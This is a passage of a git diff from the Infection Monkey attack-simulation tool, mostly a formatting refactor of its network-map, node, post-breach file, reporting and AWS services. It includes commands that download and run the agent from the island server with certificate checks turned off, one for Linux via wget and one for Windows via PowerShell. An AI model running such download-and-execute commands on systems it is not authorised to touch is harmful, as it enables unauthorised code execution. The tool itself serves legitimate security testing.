RANSOMWARE = "ransomware" + ADVANCED = "advanced" diff --git a/monkey/monkey_island/cc/services/netmap/net_edge.py b/monkey/monkey_island/cc/services/netmap/net_edge.py index 0734bf606..1c0b649d0 100644 --- a/monkey/monkey_island/cc/services/netmap/net_edge.py +++ b/monkey/monkey_island/cc/services/netmap/net_edge.py @@ -7,7 +7,6 @@ from monkey_island.cc.services.node import NodeService class NetEdgeService: - @staticmethod def get_all_net_edges(): edges = NetEdgeService._get_standard_net_edges() @@ -29,41 +28,52 @@ class NetEdgeService: count = 0 for monkey_id in monkey_ids: count += 1 - # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + # generating fake ID, because front end requires unique ID's for each edge. Collision + # improbable fake_id = ObjectId(hex(count)[2:].zfill(24)) island_id = ObjectId("000000000000000000000000") monkey_label = NodeService.get_label_for_endpoint(monkey_id) island_label = NodeService.get_label_for_endpoint(island_id) - island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=island_id, - src_label=monkey_label, - dst_label=island_label) + island_pseudo_edge = DisplayedEdgeService.generate_pseudo_edge( + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=island_id, + src_label=monkey_label, + dst_label=island_label, + ) edges.append(island_pseudo_edge) return edges @staticmethod def _get_infected_island_net_edges(monkey_island_monkey): - existing_ids = [x.src_node_id for x - in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"])] - monkey_ids = [x.id for x in Monkey.objects() - if ("tunnel" not in x) and - (x.id not in existing_ids) and - (x.id != monkey_island_monkey["_id"])] + existing_ids = [ + x.src_node_id + for x in EdgeService.get_by_dst_node(dst_node_id=monkey_island_monkey["_id"]) + ] + monkey_ids = [ + x.id + for x in Monkey.objects() + if ("tunnel" not in x) + and (x.id not in existing_ids) + and (x.id != monkey_island_monkey["_id"]) + ] edges = [] count = 0 for monkey_id in monkey_ids: count += 1 - # generating fake ID, because front end requires unique ID's for each edge. Collision improbable + # generating fake ID, because front end requires unique ID's for each edge. Collision + # improbable fake_id = ObjectId(hex(count)[2:].zfill(24)) src_label = NodeService.get_label_for_endpoint(monkey_id) dst_label = NodeService.get_label_for_endpoint(monkey_island_monkey["_id"]) - edge = DisplayedEdgeService.generate_pseudo_edge(edge_id=fake_id, - src_node_id=monkey_id, - dst_node_id=monkey_island_monkey["_id"], - src_label=src_label, - dst_label=dst_label) + edge = DisplayedEdgeService.generate_pseudo_edge( + edge_id=fake_id, + src_node_id=monkey_id, + dst_node_id=monkey_island_monkey["_id"], + src_label=src_label, + dst_label=dst_label, + ) edges.append(edge) return edges diff --git a/monkey/monkey_island/cc/services/netmap/net_node.py b/monkey/monkey_island/cc/services/netmap/net_node.py index 796167cf5..6bb54fd40 100644 --- a/monkey/monkey_island/cc/services/netmap/net_node.py +++ b/monkey/monkey_island/cc/services/netmap/net_node.py @@ -3,7 +3,6 @@ from monkey_island.cc.services.node import NodeService class NetNodeService: - @staticmethod def get_all_net_nodes(): monkeys = NetNodeService._get_monkey_net_nodes() diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 1c2c0f9f1..ec787a39d 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -8,13 +8,11 @@ import monkey_island.cc.services.log from monkey_island.cc import models from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses from monkey_island.cc.services.utils.node_states import NodeStates -__author__ = "itay.mizeretz" - class NodeService: def __init__(self): @@ -36,7 +34,7 @@ class NodeService: # node is infected new_node = NodeService.monkey_to_net_node(monkey, for_report) for key in monkey: - if key not in ['_id', 'modifytime', 'parent', 'dead', 'description']: + if key not in ["_id", "modifytime", "parent", "dead", "description"]: new_node[key] = monkey[key] else: @@ -52,18 +50,18 @@ class NodeService: edges = DisplayedEdgeService.get_displayed_edges_by_dst(node_id, for_report) for edge in edges: - from_node_id = edge['from'] + from_node_id = edge["from"] from_node_label = Monkey.get_label_by_id(from_node_id) from_node_hostname = Monkey.get_hostname_by_id(from_node_id) accessible_from_nodes.append(from_node_label) accessible_from_nodes_hostnames.append(from_node_hostname) - for edge_exploit in edge['exploits']: - edge_exploit['origin'] = from_node_label + for edge_exploit in edge["exploits"]: + edge_exploit["origin"] = from_node_label exploits.append(edge_exploit) - exploits = sorted(exploits, key=lambda exploit: exploit['timestamp']) + exploits = sorted(exploits, key=lambda exploit: exploit["timestamp"]) new_node["exploits"] = exploits new_node["accessible_from_nodes"] = accessible_from_nodes @@ -73,7 +71,7 @@ class NodeService: else: new_node["services"] = [] - new_node['has_log'] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id)) + new_node["has_log"] = monkey_island.cc.services.log.LogService.log_exists(ObjectId(node_id)) return new_node @staticmethod @@ -104,16 +102,6 @@ class NodeService: return True - @staticmethod - def get_monkey_label_by_id(monkey_id): - return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) - - @staticmethod - def get_monkey_critical_services(monkey_id): - critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get( - 'critical_services', []) - return critical_services - @staticmethod def get_monkey_label(monkey): # todo @@ -139,8 +127,8 @@ class NodeService: @staticmethod def get_node_group(node) -> str: - if 'group' in node and node['group']: - return node['group'] + if "group" in node and node["group"]: + return node["group"] node_type = "exploited" if node.get("exploited") else "clean" node_os = NodeService.get_node_os(node) return NodeStates.get_by_keywords([node_type, node_os]).value @@ -148,44 +136,42 @@ class NodeService: @staticmethod def monkey_to_net_node(monkey, for_report=False): monkey_id = monkey["_id"] - label = Monkey.get_hostname_by_id(monkey_id) if for_report else Monkey.get_label_by_id(monkey_id) + label = ( + Monkey.get_hostname_by_id(monkey_id) + if for_report + else Monkey.get_label_by_id(monkey_id) + ) monkey_group = NodeService.get_monkey_group(monkey) - return \ - { - "id": monkey_id, - "label": label, - "group": monkey_group, - "os": NodeService.get_monkey_os(monkey), - # The monkey is running IFF the group contains "_running". Therefore it's dead IFF the group does NOT - # contain "_running". This is a small optimisation, to not call "is_dead" twice. - "dead": "_running" not in monkey_group, - "domain_name": "", - "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] - } + return { + "id": monkey_id, + "label": label, + "group": monkey_group, + "os": NodeService.get_monkey_os(monkey), + # The monkey is running IFF the group contains "_running". Therefore it's dead IFF + # the group does NOT + # contain "_running". This is a small optimisation, to not call "is_dead" twice. + "dead": "_running" not in monkey_group, + "domain_name": "", + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [], + } @staticmethod def node_to_net_node(node, for_report=False): - label = node['os']['version'] if for_report else NodeService.get_node_label(node) - return \ - { - "id": node["_id"], - "label": label, - "group": NodeService.get_node_group(node), - "os": NodeService.get_node_os(node) - } + label = node["os"]["version"] if for_report else NodeService.get_node_label(node) + return { + "id": node["_id"], + "label": label, + "group": NodeService.get_node_group(node), + "os": NodeService.get_node_os(node), + } @staticmethod def set_node_group(node_id: str, node_group: NodeStates): - mongo.db.node.update({"_id": node_id}, - {'$set': {'group': node_group.value}}, - upsert=False) + mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False) @staticmethod def unset_all_monkey_tunnels(monkey_id): - mongo.db.monkey.update( - {"_id": monkey_id}, - {'$unset': {'tunnel': ''}}, - upsert=False) + mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) edges = EdgeService.get_tunnel_edges_by_src(monkey_id) for edge in edges: @@ -196,84 +182,88 @@ class NodeService: tunnel_host_id = NodeService.get_monkey_by_ip(tunnel_host_ip)["_id"] NodeService.unset_all_monkey_tunnels(monkey_id) mongo.db.monkey.update( - {'_id': monkey_id}, - {'$set': {'tunnel': tunnel_host_id}}, - upsert=False) + {"_id": monkey_id}, {"$set": {"tunnel": tunnel_host_id}}, upsert=False + ) monkey_label = NodeService.get_label_for_endpoint(monkey_id) tunnel_host_label = NodeService.get_label_for_endpoint(tunnel_host_id) - tunnel_edge = EdgeService.get_or_create_edge(src_node_id=monkey_id, - dst_node_id=tunnel_host_id, - src_label=monkey_label, - dst_label=tunnel_host_label) + tunnel_edge = EdgeService.get_or_create_edge( + src_node_id=monkey_id, + dst_node_id=tunnel_host_id, + src_label=monkey_label, + dst_label=tunnel_host_label, + ) tunnel_edge.tunnel = True tunnel_edge.ip_address = tunnel_host_ip tunnel_edge.save() @staticmethod - def insert_node(ip_address, domain_name=''): + def insert_node(ip_address, domain_name=""): new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], "domain_name": domain_name, "exploited": False, "creds": [], - "os": - { - "type": "unknown", - "version": "unknown" - } - }) + "os": {"type": "unknown", "version": "unknown"}, + } + ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): new_node_insert_result = mongo.db.node.insert_one( { - "ip_addresses": bootloader_telem['ips'], - "domain_name": bootloader_telem['hostname'], + "ip_addresses": bootloader_telem["ips"], + "domain_name": bootloader_telem["hostname"], "will_monkey_run": will_monkey_run, "exploited": False, "creds": [], - "os": - { - "type": bootloader_telem['system'], - "version": bootloader_telem['os_version'] - } - }) + "os": { + "type": bootloader_telem["system"], + "version": bootloader_telem["os_version"], + }, + } + ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod - def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict: - if is_local_ips(bootloader_telem['ips']): + def get_or_create_node_from_bootloader_telem( + bootloader_telem: Dict, will_monkey_run: bool + ) -> Dict: + if is_local_ips(bootloader_telem["ips"]): raise NodeCreationException("Bootloader ran on island, no need to create new node.") - new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) if monkey_node: # Don't create new node, monkey node is already present return monkey_node if new_node is None: - new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run) - if bootloader_telem['tunnel']: - dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel']) + new_node = NodeService.create_node_from_bootloader_telem( + bootloader_telem, will_monkey_run + ) + if bootloader_telem["tunnel"]: + dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) else: dst_node = NodeService.get_monkey_island_node() - src_label = NodeService.get_label_for_endpoint(new_node['_id']) - dst_label = NodeService.get_label_for_endpoint(dst_node['id']) - edge = EdgeService.get_or_create_edge(src_node_id=new_node['_id'], - dst_node_id=dst_node['id'], - src_label=src_label, - dst_label=dst_label) - edge.tunnel = bool(bootloader_telem['tunnel']) - edge.ip_address = bootloader_telem['ips'][0] - edge.group = NodeStates.get_by_keywords(['island']).value + src_label = NodeService.get_label_for_endpoint(new_node["_id"]) + dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) + edge = EdgeService.get_or_create_edge( + src_node_id=new_node["_id"], + dst_node_id=dst_node["id"], + src_label=src_label, + dst_label=dst_label, + ) + edge.tunnel = bool(bootloader_telem["tunnel"]) + edge.ip_address = bootloader_telem["ips"][0] + edge.group = NodeStates.get_by_keywords(["island"]).value edge.save() return new_node @staticmethod - def get_or_create_node(ip_address, domain_name=''): + def get_or_create_node(ip_address, domain_name=""): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: new_node = NodeService.insert_node(ip_address, domain_name) @@ -301,27 +291,25 @@ class NodeService: @staticmethod def update_monkey_modify_time(monkey_id): - mongo.db.monkey.update({"_id": monkey_id}, - {"$set": {"modifytime": datetime.now()}}, - upsert=False) + mongo.db.monkey.update( + {"_id": monkey_id}, {"$set": {"modifytime": datetime.now()}}, upsert=False + ) @staticmethod def set_monkey_dead(monkey, is_dead): - props_to_set = {'dead': is_dead} + props_to_set = {"dead": is_dead} # Cancel the force kill once monkey died if is_dead: - props_to_set['config.alive'] = True + props_to_set["config.alive"] = True - mongo.db.monkey.update({"guid": monkey['guid']}, - {'$set': props_to_set}, - upsert=False) + mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) @staticmethod def add_communication_info(monkey, info): - mongo.db.monkey.update({"guid": monkey["guid"]}, - {"$set": {'command_control_channel': info}}, - upsert=False) + mongo.db.monkey.update( + {"guid": monkey["guid"]}, {"$set": {"command_control_channel": info}}, upsert=False + ) @staticmethod def get_monkey_island_monkey(): @@ -338,12 +326,11 @@ class NodeService: @staticmethod def get_monkey_island_pseudo_net_node(): - return \ - { - "id": NodeService.get_monkey_island_pseudo_id(), - "label": "MonkeyIsland", - "group": "island", - } + return { + "id": NodeService.get_monkey_island_pseudo_id(), + "label": "MonkeyIsland", + "group": "island", + } @staticmethod def get_monkey_island_node(): @@ -354,22 +341,23 @@ class NodeService: @staticmethod def set_node_exploited(node_id): - mongo.db.node.update( - {"_id": node_id}, - {"$set": {"exploited": True}} - ) + mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes if mongo.db.monkey.find_one( - {'dead': {'$ne': True}, 'keepalive': {'$gte': datetime.now() - timedelta(minutes=10)}}): + {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} + ): return # config.alive is changed to true to cancel the force kill of dead monkeys mongo.db.monkey.update( - {'keepalive': {'$lte': datetime.now() - timedelta(minutes=10)}, 'dead': {'$ne': True}}, - {'$set': {'dead': True, 'config.alive': True, 'modifytime': datetime.now()}}, upsert=False, multi=True) + {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, + {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, + upsert=False, + multi=True, + ) @staticmethod def is_any_monkey_alive(): @@ -386,17 +374,11 @@ class NodeService: @staticmethod def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update( - {'_id': monkey_id}, - {'$push': {'creds': creds}} - ) + mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) @staticmethod def add_credentials_to_node(node_id, creds): - mongo.db.node.update( - {'_id': node_id}, - {'$push': {'creds': creds}} - ) + mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) @staticmethod def get_node_or_monkey_by_ip(ip_address): @@ -414,16 +396,18 @@ class NodeService: @staticmethod def get_node_hostname(node): - return node['hostname'] if 'hostname' in node else node['os']['version'] + return node["hostname"] if "hostname" in node else node["os"]["version"] @staticmethod def get_hostname_by_id(node_id): - return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + return NodeService.get_node_hostname( + mongo.db.monkey.find_one({"_id": node_id}, {"hostname": 1}) + ) @staticmethod def get_label_for_endpoint(endpoint_id): if endpoint_id == ObjectId("000000000000000000000000"): - return 'MonkeyIsland' + return "MonkeyIsland" if Monkey.is_monkey(endpoint_id): return Monkey.get_label_by_id(endpoint_id) else: diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 44f1b91b2..8268265a9 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -1,50 +1,46 @@ import logging import os -from pathlib import Path -import monkey_island.cc.services.config - -__author__ = "VakarisZ" - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.file_utils import create_secure_directory logger = logging.getLogger(__name__) -# Where to find file names in config -PBA_WINDOWS_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_windows_filename'] -PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename'] -UPLOADS_DIR_NAME = 'userUploads' +class PostBreachFilesService: + DATA_DIR = None + CUSTOM_PBA_DIRNAME = "custom_pbas" -ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME) + # TODO: A number of these services should be instance objects instead of + # static/singleton hybrids. At the moment, this requires invasive refactoring that's + # not a priority. + @classmethod + def initialize(cls, data_dir): + cls.DATA_DIR = data_dir + custom_pba_dir = cls.get_custom_pba_directory() + create_secure_directory(custom_pba_dir) + @staticmethod + def save_file(filename: str, file_contents: bytes): + file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), filename) + with open(file_path, "wb") as f: + f.write(file_contents) -def remove_PBA_files(): - if monkey_island.cc.services.config.ConfigService.get_config(): - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - if linux_filename: - remove_file(linux_filename) - if windows_filename: - remove_file(windows_filename) + @staticmethod + def remove_PBA_files(): + for f in os.listdir(PostBreachFilesService.get_custom_pba_directory()): + PostBreachFilesService.remove_file(f) + @staticmethod + def remove_file(file_name): + file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) -def remove_file(file_name): - file_path = os.path.join(ABS_UPLOAD_PATH, file_name) - try: - if os.path.exists(file_path): - os.remove(file_path) - except OSError as e: - logger.error("Can't remove previously uploaded post breach files: %s" % e) - - -def set_config_PBA_files(config_json): - """ - Sets PBA file info in config_json to current config's PBA file info values. - :param config_json: config_json that will be modified - """ - if monkey_island.cc.services.config.ConfigService.get_config(): - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - config_json['monkey']['post_breach']['PBA_linux_filename'] = linux_filename - config_json['monkey']['post_breach']['PBA_windows_filename'] = windows_filename + @staticmethod + def get_custom_pba_directory(): + return os.path.join( + PostBreachFilesService.DATA_DIR, PostBreachFilesService.CUSTOM_PBA_DIRNAME + ) diff --git a/monkey/monkey_island/cc/services/ransomware/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py new file mode 100644 index 000000000..5dd384511 --- /dev/null +++ b/monkey/monkey_island/cc/services/ransomware/ransomware_report.py @@ -0,0 +1,28 @@ +from typing import Dict, List + +from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( + MonkeyExploitation, + get_monkey_exploited, +) +from monkey_island.cc.services.reporting.report import ReportService + + +def get_propagation_stats() -> Dict: + scanned = ReportService.get_scanned() + exploited = get_monkey_exploited() + + return { + "num_scanned_nodes": len(scanned), + "num_exploited_nodes": len(exploited), + "num_exploited_per_exploit": _get_exploit_counts(exploited), + } + + +def _get_exploit_counts(exploited: List[MonkeyExploitation]) -> Dict: + exploit_counts = {} + + for node in exploited: + for exploit in node.exploits: + exploit_counts[exploit] = exploit_counts.get(exploit, 0) + 1 + + return exploit_counts diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index dfaa0e327..ae9d910ea 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -6,14 +6,11 @@ from common.cmd.aws.aws_cmd_runner import AwsCmdRunner from common.cmd.cmd import Cmd from common.cmd.cmd_runner import CmdRunner -__author__ = "itay.mizeretz" - logger = logging.getLogger(__name__) class RemoteRunAwsService: aws_instance = None - is_auth = False def __init__(self): pass @@ -48,9 +45,13 @@ class RemoteRunAwsService: return CmdRunner.run_multiple_commands( instances, lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( - instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip, - instances_bitness[instance['instance_id']]), - lambda _, result: result.is_success) + instance["instance_id"], + RemoteRunAwsService._is_linux(instance["os"]), + island_ip, + instances_bitness[instance["instance_id"]], + ), + lambda _, result: result.is_success, + ) @staticmethod def is_running_on_aws(): @@ -68,23 +69,29 @@ class RemoteRunAwsService: """ For all given instances, checks whether they're 32 or 64 bit. :param instances: List of instances to check - :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise + :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, + False otherwise """ return CmdRunner.run_multiple_commands( instances, lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async( - instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])), + instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) + ), lambda instance, result: RemoteRunAwsService._get_bitness_by_result( - RemoteRunAwsService._is_linux(instance['os']), result)) + RemoteRunAwsService._is_linux(instance["os"]), result + ), + ) @staticmethod def _get_bitness_by_result(is_linux, result): if not result.is_success: return None elif is_linux: - return result.stdout.find('i686') == -1 # i686 means 32bit + return result.stdout.find("i686") == -1 # i686 means 32bit else: - return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit + return ( + result.stdout.lower().find("programfiles(x86)") != -1 + ) # if not found it means 32bit @staticmethod def run_aws_bitness_cmd_async(instance_id, is_linux): @@ -94,7 +101,7 @@ class RemoteRunAwsService: :param is_linux: Whether target is linux :return: Cmd """ - cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:' + cmd_text = "uname -m" if is_linux else "Get-ChildItem Env:" return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text) @staticmethod @@ -117,24 +124,42 @@ class RemoteRunAwsService: @staticmethod def _is_linux(os): - return 'linux' == os + return "linux" == os @staticmethod def _get_run_monkey_cmd_linux_line(bit_text, island_ip): - return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ - bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ - island_ip + r':5000' + return ( + r"wget --no-check-certificate https://" + + island_ip + + r":5000/api/monkey/download/monkey-linux-" + + bit_text + + r"; chmod +x monkey-linux-" + + bit_text + + r"; ./monkey-linux-" + + bit_text + + r" m0nk3y -s " + + island_ip + + r":5000" + ) @staticmethod def _get_run_monkey_cmd_windows_line(bit_text, island_ip): - return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ - r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ - r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ - r";Start-Process -FilePath '.\\monkey.exe' " \ - r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + return ( + r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + + island_ip + + r":5000/api/monkey/download/monkey-windows-" + + bit_text + + r".exe','.\\monkey.exe'); " + r";Start-Process -FilePath '.\\monkey.exe' " + r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + ) @staticmethod def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): - bit_text = '64' if is_64bit else '32' - return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \ + bit_text = "64" if is_64bit else "32" + return ( + RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) + if is_linux else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip) + ) diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 1347775d0..e235739bc 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -8,7 +8,17 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.services.reporting.exporter import Exporter -__authors__ = ['maor.rayzin', 'shay.nehmad'] +__authors__ = ["maor.rayzin", "shay.nehmad"] + + +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa:E501 (Long import) + ExploiterDescriptorEnum, +) + +# noqa:E501 (Long import) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa:E501 (Long import) + CredentialType, +) logger = logging.getLogger(__name__) @@ -20,9 +30,9 @@ class AWSExporter(Exporter): def handle_report(report_json): findings_list = [] - issues_list = report_json['recommendations']['issues'] + issues_list = report_json["recommendations"]["issues"] if not issues_list: - logger.info('No issues were found by the monkey, no need to send anything') + logger.info("No issues were found by the monkey, no need to send anything") return True # Not suppressing error here on purpose. @@ -30,11 +40,16 @@ class AWSExporter(Exporter): for machine in issues_list: for issue in issues_list[machine]: - if issue.get('aws_instance_id', None): - findings_list.append(AWSExporter._prepare_finding(issue, current_aws_region)) + try: + if "aws_instance_id" in issue: + findings_list.append( + AWSExporter._prepare_finding(issue, current_aws_region) + ) + except AWSExporter.FindingNotFoundError as e: + logger.error(e) if not AWSExporter._send_findings(findings_list, current_aws_region): - logger.error('Exporting findings to aws failed') + logger.error("Exporting findings to aws failed") return False return True @@ -48,97 +63,118 @@ class AWSExporter(Exporter): @staticmethod def _prepare_finding(issue, region): findings_dict = { - 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, - 'ssh': AWSExporter._handle_ssh_issue, - 'shellshock': AWSExporter._handle_shellshock_issue, - 'tunnel': AWSExporter._handle_tunnel_issue, - 'elastic': AWSExporter._handle_elastic_issue, - 'smb_password': AWSExporter._handle_smb_password_issue, - 'smb_pth': AWSExporter._handle_smb_pth_issue, - 'sambacry': AWSExporter._handle_sambacry_issue, - 'shared_passwords': AWSExporter._handle_shared_passwords_issue, - 'wmi_password': AWSExporter._handle_wmi_password_issue, - 'wmi_pth': AWSExporter._handle_wmi_pth_issue, - 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, - 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, - 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, - 'struts2': AWSExporter._handle_struts2_issue, - 'weblogic': AWSExporter._handle_weblogic_issue, - 'hadoop': AWSExporter._handle_hadoop_issue, + "island_cross_segment": AWSExporter._handle_island_cross_segment_issue, + ExploiterDescriptorEnum.SSH.value.class_name: { + CredentialType.PASSWORD.value: AWSExporter._handle_ssh_issue, + CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue, + }, + ExploiterDescriptorEnum.SHELLSHOCK.value.class_name: AWSExporter._handle_shellshock_issue, # noqa:E501 + "tunnel": AWSExporter._handle_tunnel_issue, + ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue, + ExploiterDescriptorEnum.SMB.value.class_name: { + CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue, + CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue, + }, + ExploiterDescriptorEnum.SAMBACRY.value.class_name: AWSExporter._handle_sambacry_issue, + "shared_passwords": AWSExporter._handle_shared_passwords_issue, + ExploiterDescriptorEnum.WMI.value.class_name: { + CredentialType.PASSWORD.value: AWSExporter._handle_wmi_password_issue, + CredentialType.HASH.value: AWSExporter._handle_wmi_pth_issue, + }, + "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, + "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, + "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, + ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue, + ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue, + ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue, # azure and conficker are not relevant issues for an AWS env } configured_product_arn = INFECTION_MONKEY_ARN - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) - instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' + product_arn = "arn:aws:securityhub:{region}:{arn}".format( + region=region, arn=configured_product_arn + ) + instance_arn = "arn:aws:ec2:" + str(region) + ":instance:{instance_id}" # Not suppressing error here on purpose. account_id = AwsInstance().get_account_id() logger.debug("aws account id acquired: {}".format(account_id)) - finding = { + aws_finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, "ProductArn": product_arn, - "GeneratorId": issue['type'], + "GeneratorId": issue["type"], "AwsAccountId": account_id, "RecordState": "ACTIVE", - "Types": [ - "Software and Configuration Checks/Vulnerabilities/CVE" - ], - "CreatedAt": datetime.now().isoformat() + 'Z', - "UpdatedAt": datetime.now().isoformat() + 'Z', + "Types": ["Software and Configuration Checks/Vulnerabilities/CVE"], + "CreatedAt": datetime.now().isoformat() + "Z", + "UpdatedAt": datetime.now().isoformat() + "Z", } - return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn)) + + processor = AWSExporter._get_issue_processor(findings_dict, issue) + + return AWSExporter.merge_two_dicts(aws_finding, processor(issue, instance_arn)) + + @staticmethod + def _get_issue_processor(finding_dict, issue): + try: + processor = finding_dict[issue["type"]] + if type(processor) == dict: + processor = processor[issue["credential_type"]] + return processor + except KeyError: + raise AWSExporter.FindingNotFoundError( + f"Finding 